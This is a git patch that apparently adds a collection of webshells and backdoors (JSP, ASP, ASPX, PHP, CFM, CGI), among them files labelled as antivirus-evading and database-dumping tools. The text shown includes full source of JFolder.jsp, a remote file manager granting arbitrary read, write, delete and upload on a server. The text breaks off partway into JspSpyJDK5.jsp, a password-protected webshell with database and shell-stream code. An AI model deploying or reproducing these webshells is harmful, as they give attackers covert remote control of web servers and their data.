From 0b16c9f65f0887d1847a28b0ea8c3f97cf1588aa Mon Sep 17 00:00:00 2001 From: tennc Date: Thu, 20 Jun 2013 09:50:18 +0800 Subject: [PATCH] update net-friend --- jsp/JFolder.jsp | 1022 ++++ jsp/JspSpyJDK5.jsp | 2403 ++++++++++ jsp/in.jsp | 982 ++++ jsp/job.jsp | 1811 +++++++ jsp/jspbrowser/1.jsp | 2344 ++++++++++ jsp/jspbrowser/2.jsp | 1778 +++++++ jsp/jspbrowser/Browser.jsp | 1934 ++++++++ jsp/jspbrowser/Readme.txt | 279 ++ jsp/jspbrowser/example-css.css | 50 + jsp/jspbrowser/gpl.txt | 222 + jsp/ma1.jsp | 1811 +++++++ jsp/ma2.jsp | 807 ++++ jsp/ma3.jsp | 2317 +++++++++ jsp/ma4.jsp | 1780 +++++++ jsp/no.jsp | 995 ++++ jsp/silic webshell.jsp | 844 ++++ jsp/spjspshell.jsp | 814 ++++ jsp/u.jsp | 2323 +++++++++ net-friend/ChatRoom/菊花聊天室.asp | 51 + net-friend/ChatRoom/菊花聊天室.php | 41 + net-friend/asp/01.asp | 1 + net-friend/asp/1.asp | 289 ++ net-friend/asp/121.jpg | Bin 0 -> 22734 bytes .../DarkBlade1.3--强大的asp大马/indexx.asp | 4165 +++++++++++++++++ net-friend/asp/asp目录可写扫描/01.aspx | 108 + net-friend/asp/asp目录可写扫描/1.aspx | 108 + net-friend/asp/asp目录可写扫描/finaly.aspx | 108 + net-friend/asp/asp目录可写扫描/wt.asp | 173 + net-friend/asp/asp目录可写扫描/wt.aspx | 146 + net-friend/asp/google.jpg | Bin 0 -> 27464 bytes net-friend/asp/mssql在线管理.asp | 1300 +++++ net-friend/asp/一句话.doc | Bin 0 -> 126464 bytes net-friend/asp/修改属性.asp | 64 + net-friend/asp/陆羽asp打包/1.bat | 1 + net-friend/asp/陆羽asp打包/cscript.exe | Bin 0 -> 135168 bytes net-friend/asp/陆羽asp打包/dabao.asp | 770 +++ net-friend/asp/陆羽asp打包/unpack.vbs | 153 + net-friend/aspx/01.aspx | 2941 ++++++++++++ .../aspx/1----环境检测功能非常不错.aspx | 1561 ++++++ net-friend/aspx/1.aspx | 1047 +++++ net-friend/aspx/11.aspx | 1561 ++++++ net-friend/aspx/ASP.NET Web BackDoor.aspx | 2949 ++++++++++++ net-friend/aspx/Aspx(免杀).aspx | 2941 ++++++++++++ net-friend/aspx/aspx.aspx | 2588 ++++++++++ net-friend/aspx/aspxspy.aspx | 1563 +++++++ net-friend/aspx/aspxspy/1.aspx | 1563 +++++++ net-friend/aspx/aspxspy/aspxspy.aspx | 1563 +++++++ net-friend/aspx/aspxspy/read.txt | 33 + net-friend/aspx/read.txt | 33 + net-friend/aspx/sniffer--aspx的嗅探工具.aspx | 707 +++ net-friend/aspx/view.aspx | 1686 +++++++ .../aspx/干净清爽的大马,不怎么好用.aspx | 1047 +++++ net-friend/aspx/脱裤4ngle.aspx | 573 +++ net-friend/cfm/ColdFusion.chm | Bin 0 -> 117042 bytes net-friend/cfm/cfmShell.cfm | 32 + net-friend/cfm/cmfshell.cmf | 31 + net-friend/cfm/list.cfm | 88 + net-friend/cfm/mycode12.cfm | 32 + net-friend/cfm/xl.cfm | 88 + net-friend/cgi/WebShell.cgi | 869 ++++ net-friend/jsp/JFolder.jsp | 1022 ++++ net-friend/jsp/JspSpyJDK5.jsp | 2403 ++++++++++ net-friend/jsp/in.jsp | 982 ++++ net-friend/jsp/job.jsp | 1811 +++++++ net-friend/jsp/jspbrowser/1.jsp | 2344 ++++++++++ net-friend/jsp/jspbrowser/2.jsp | 1778 +++++++ net-friend/jsp/jspbrowser/Browser.jsp | 1934 ++++++++ net-friend/jsp/jspbrowser/Readme.txt | 279 ++ net-friend/jsp/jspbrowser/example-css.css | 50 + net-friend/jsp/jspbrowser/gpl.txt | 222 + net-friend/jsp/ma1.jsp | 1811 +++++++ net-friend/jsp/ma2.jsp | 807 ++++ net-friend/jsp/ma3.jsp | 2317 +++++++++ net-friend/jsp/ma4.jsp | 1780 +++++++ net-friend/jsp/no.jsp | 995 ++++ net-friend/jsp/silic webshell.jsp | 844 ++++ net-friend/jsp/spjspshell.jsp | 814 ++++ net-friend/php/2.php | 1 + net-friend/php/moon.php | 291 ++ net-friend/php/php一句话后门.TXT | 61 + .../php网站打包(dodo).doc | Bin 0 -> 197120 bytes net-friend/php/php网站打包(dodo)/zip.php | 342 ++ net-friend/php/php读取iis.txt | 41 + net-friend/php/s-u.php | 250 + .../零魂PHP一句话木马客户端(一键提交版)/Readme.txt | 38 + .../零魂PHP一句话木马客户端.htm | 2031 ++++++++ net-friend/war/test3693.war | Bin 0 -> 31512 bytes .../PHP 搜索可读可写目录脚本.php | 51 + .../可读写目录探测/从注册表中读存在路径.aspx | 108 + .../啊D小工具 - 目录读写检测 [ASP版].asp | 186 + .../啊D小工具 - 目录读写检测 [ASP版]说明.txt | 133 + .../很好用的扫可读可写目录asp脚本xwdir.asp | 99 + php/fbi.php | 1632 +++++++ php/h6ss.php | 1 + web-malware-collection-13-06-2012/PHP.7z | Bin 0 -> 1694312 bytes 95 files changed, 84948 insertions(+) create mode 100644 jsp/JFolder.jsp create mode 100644 jsp/JspSpyJDK5.jsp create mode 100644 jsp/in.jsp create mode 100644 jsp/job.jsp create mode 100644 jsp/jspbrowser/1.jsp create mode 100644 jsp/jspbrowser/2.jsp create mode 100644 jsp/jspbrowser/Browser.jsp create mode 100644 jsp/jspbrowser/Readme.txt create mode 100644 jsp/jspbrowser/example-css.css create mode 100644 jsp/jspbrowser/gpl.txt create mode 100644 jsp/ma1.jsp create mode 100644 jsp/ma2.jsp create mode 100644 jsp/ma3.jsp create mode 100644 jsp/ma4.jsp create mode 100644 jsp/no.jsp create mode 100644 jsp/silic webshell.jsp create mode 100644 jsp/spjspshell.jsp create mode 100644 jsp/u.jsp create mode 100644 net-friend/ChatRoom/菊花聊天室.asp create mode 100644 net-friend/ChatRoom/菊花聊天室.php create mode 100644 net-friend/asp/01.asp create mode 100644 net-friend/asp/1.asp create mode 100644 net-friend/asp/121.jpg create mode 100644 net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp create mode 100644 net-friend/asp/asp目录可写扫描/01.aspx create mode 100644 net-friend/asp/asp目录可写扫描/1.aspx create mode 100644 net-friend/asp/asp目录可写扫描/finaly.aspx create mode 100644 net-friend/asp/asp目录可写扫描/wt.asp create mode 100644 net-friend/asp/asp目录可写扫描/wt.aspx create mode 100644 net-friend/asp/google.jpg create mode 100644 net-friend/asp/mssql在线管理.asp create mode 100644 net-friend/asp/一句话.doc create mode 100644 net-friend/asp/修改属性.asp create mode 100644 net-friend/asp/陆羽asp打包/1.bat create mode 100644 net-friend/asp/陆羽asp打包/cscript.exe create mode 100644 net-friend/asp/陆羽asp打包/dabao.asp create mode 100644 net-friend/asp/陆羽asp打包/unpack.vbs create mode 100644 net-friend/aspx/01.aspx create mode 100644 net-friend/aspx/1----环境检测功能非常不错.aspx create mode 100644 net-friend/aspx/1.aspx create mode 100644 net-friend/aspx/11.aspx create mode 100644 net-friend/aspx/ASP.NET Web BackDoor.aspx create mode 100644 net-friend/aspx/Aspx(免杀).aspx create mode 100644 net-friend/aspx/aspx.aspx create mode 100644 net-friend/aspx/aspxspy.aspx create mode 100644 net-friend/aspx/aspxspy/1.aspx create mode 100644 net-friend/aspx/aspxspy/aspxspy.aspx create mode 100644 net-friend/aspx/aspxspy/read.txt create mode 100644 net-friend/aspx/read.txt create mode 100644 net-friend/aspx/sniffer--aspx的嗅探工具.aspx create mode 100644 net-friend/aspx/view.aspx create mode 100644 net-friend/aspx/干净清爽的大马,不怎么好用.aspx create mode 100644 net-friend/aspx/脱裤4ngle.aspx create mode 100644 net-friend/cfm/ColdFusion.chm create mode 100644 net-friend/cfm/cfmShell.cfm create mode 100644 net-friend/cfm/cmfshell.cmf create mode 100644 net-friend/cfm/list.cfm create mode 100644 net-friend/cfm/mycode12.cfm create mode 100644 net-friend/cfm/xl.cfm create mode 100644 net-friend/cgi/WebShell.cgi create mode 100644 net-friend/jsp/JFolder.jsp create mode 100644 net-friend/jsp/JspSpyJDK5.jsp create mode 100644 net-friend/jsp/in.jsp create mode 100644 net-friend/jsp/job.jsp create mode 100644 net-friend/jsp/jspbrowser/1.jsp create mode 100644 net-friend/jsp/jspbrowser/2.jsp create mode 100644 net-friend/jsp/jspbrowser/Browser.jsp create mode 100644 net-friend/jsp/jspbrowser/Readme.txt create mode 100644 net-friend/jsp/jspbrowser/example-css.css create mode 100644 net-friend/jsp/jspbrowser/gpl.txt create mode 100644 net-friend/jsp/ma1.jsp create mode 100644 net-friend/jsp/ma2.jsp create mode 100644 net-friend/jsp/ma3.jsp create mode 100644 net-friend/jsp/ma4.jsp create mode 100644 net-friend/jsp/no.jsp create mode 100644 net-friend/jsp/silic webshell.jsp create mode 100644 net-friend/jsp/spjspshell.jsp create mode 100644 net-friend/php/2.php create mode 100644 net-friend/php/moon.php create mode 100644 net-friend/php/php一句话后门.TXT create mode 100644 net-friend/php/php网站打包(dodo)/php网站打包(dodo).doc create mode 100644 net-friend/php/php网站打包(dodo)/zip.php create mode 100644 net-friend/php/php读取iis.txt create mode 100644 net-friend/php/s-u.php create mode 100644 net-friend/php/零魂PHP一句话木马客户端%28一键提交版%29/零魂PHP一句话木马客户端(一键提交版)/Readme.txt create mode 100644 net-friend/php/零魂PHP一句话木马客户端%28一键提交版%29/零魂PHP一句话木马客户端(一键提交版)/零魂PHP一句话木马客户端.htm create mode 100644 net-friend/war/test3693.war create mode 100644 net-friend/可读写目录探测/PHP 搜索可读可写目录脚本.php create mode 100644 net-friend/可读写目录探测/从注册表中读存在路径.aspx create mode 100644 net-friend/可读写目录探测/啊D小工具 - 目录读写检测 [ASP版].asp create mode 100644 net-friend/可读写目录探测/啊D小工具 - 目录读写检测 [ASP版]说明.txt create mode 100644 net-friend/可读写目录探测/很好用的扫可读可写目录asp脚本xwdir.asp create mode 100644 php/fbi.php create mode 100644 php/h6ss.php create mode 100644 web-malware-collection-13-06-2012/PHP.7z diff --git a/jsp/JFolder.jsp b/jsp/JFolder.jsp new file mode 100644 index 0000000..50e972b --- /dev/null +++ b/jsp/JFolder.jsp @@ -0,0 +1,1022 @@ +<% +/** +JFileMan V1.0 windows platform +@Filename JFolder.jsp +@Description һ򵥵ϵͳļĿ¼ʾԴṩļˡ +@Author Steven Cee +@Email cqq1978@Gmail.com +@Bugs : ʱļ޷ʾUnixϵͳϴ +*/ +%> +<%@page errorPage="/"%> +<%@page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=1; //Language,0 : Chinese; 1:English +String strThisFile="JFileMan.jsp"; +String strSeparator = File.separator; +String[] authorInfo={" дIJãð - - by ǿ http://www.topronet.com "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {" ","File Management"}; +String[] strCommand = {"CMD ","Command Window"}; +String[] strSysProperty = {"ϵ ͳ ","System Property"}; +String[] strHelp = {" ","Help"}; +String[] strParentFolder = {"ϼĿ¼","Parent Folder"}; +String[] strCurrentFolder= {"ǰĿ¼","Current Folder"}; +String[] strDrivers = {"","Drivers"}; +String[] strFileName = {"ļ","File Name"}; +String[] strFileSize = {"ļС","File Size"}; +String[] strLastModified = {"޸","Last Modified"}; +String[] strFileOperation= {"ļ","Operations"}; +String[] strFileEdit = {"޸","Edit"}; +String[] strFileDown = {"","Download"}; +String[] strFileCopy = {"","Move"}; +String[] strFileDel = {"ɾ","Delete"}; +String[] strExecute = {"ִ","Execute"}; +String[] strBack = {"","Back"}; +String[] strFileSave = {"","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windowsϵͳȡÿõ߼ +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M ʾ5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + strSeparator + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); +String strOS = System.getProperty("os.name").toLowerCase(); +//out.print(strPath); +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("."); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("ļСΪ 0 ֽڣͲ˰"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
"); + sbEdit.append(""); + sbEdit.append("
"); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("ԭʼļ "+strPath+"

"); + sbCopy.append("Ŀļ

"); + sbCopy.append(" "); + sbCopy.append("

 \r\n"); + sbCopy.append("

"); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

Ŀļ"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

ĿļѴ,ܸơ"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith(strSeparator)) + { + strDesFile=strDesFile+strSeparator; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("ԭʼļ "+strPath+"

"); + sbSaveCopy.append("Ŀļ "+strTmpFile+"

"); + sbSaveCopy.append("Ƴɹ"); + } + } + sbSaveCopy.append("

"); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" ļʧ"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" Ŀ¼ʧ"); + } + else + { + sbNewFile.append("

ļĿ¼"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + + if(path!=null && !path.endsWith(strSeparator)) + path = path + strSeparator; + strDir = path; + //out.println(path + f1.getName()); + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + out.println("error,upload "); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JFoler 1.0 ---A jsp based web folder management tool by Steven Cee + + + + + +

+ + + + + + +
+ + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
- - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
"); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("ʧܣ "+e.toString()+""); +} +%> + +
+ + + + + + + + + +
+

+
www.topronet.com ,All Rights Reserved. +
Any question, please email me cqq1978@Gmail.com \ No newline at end of file diff --git a/jsp/JspSpyJDK5.jsp b/jsp/JspSpyJDK5.jsp new file mode 100644 index 0000000..3c51305 --- /dev/null +++ b/jsp/JspSpyJDK5.jsp @@ -0,0 +1,2403 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +/** +* Code By Ninty +* Date 2009-12-17 +* Blog http://www.Forjj.com/ +* Yue . I Love You. +*/ +private static final String PW = "xfg"; //password +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new 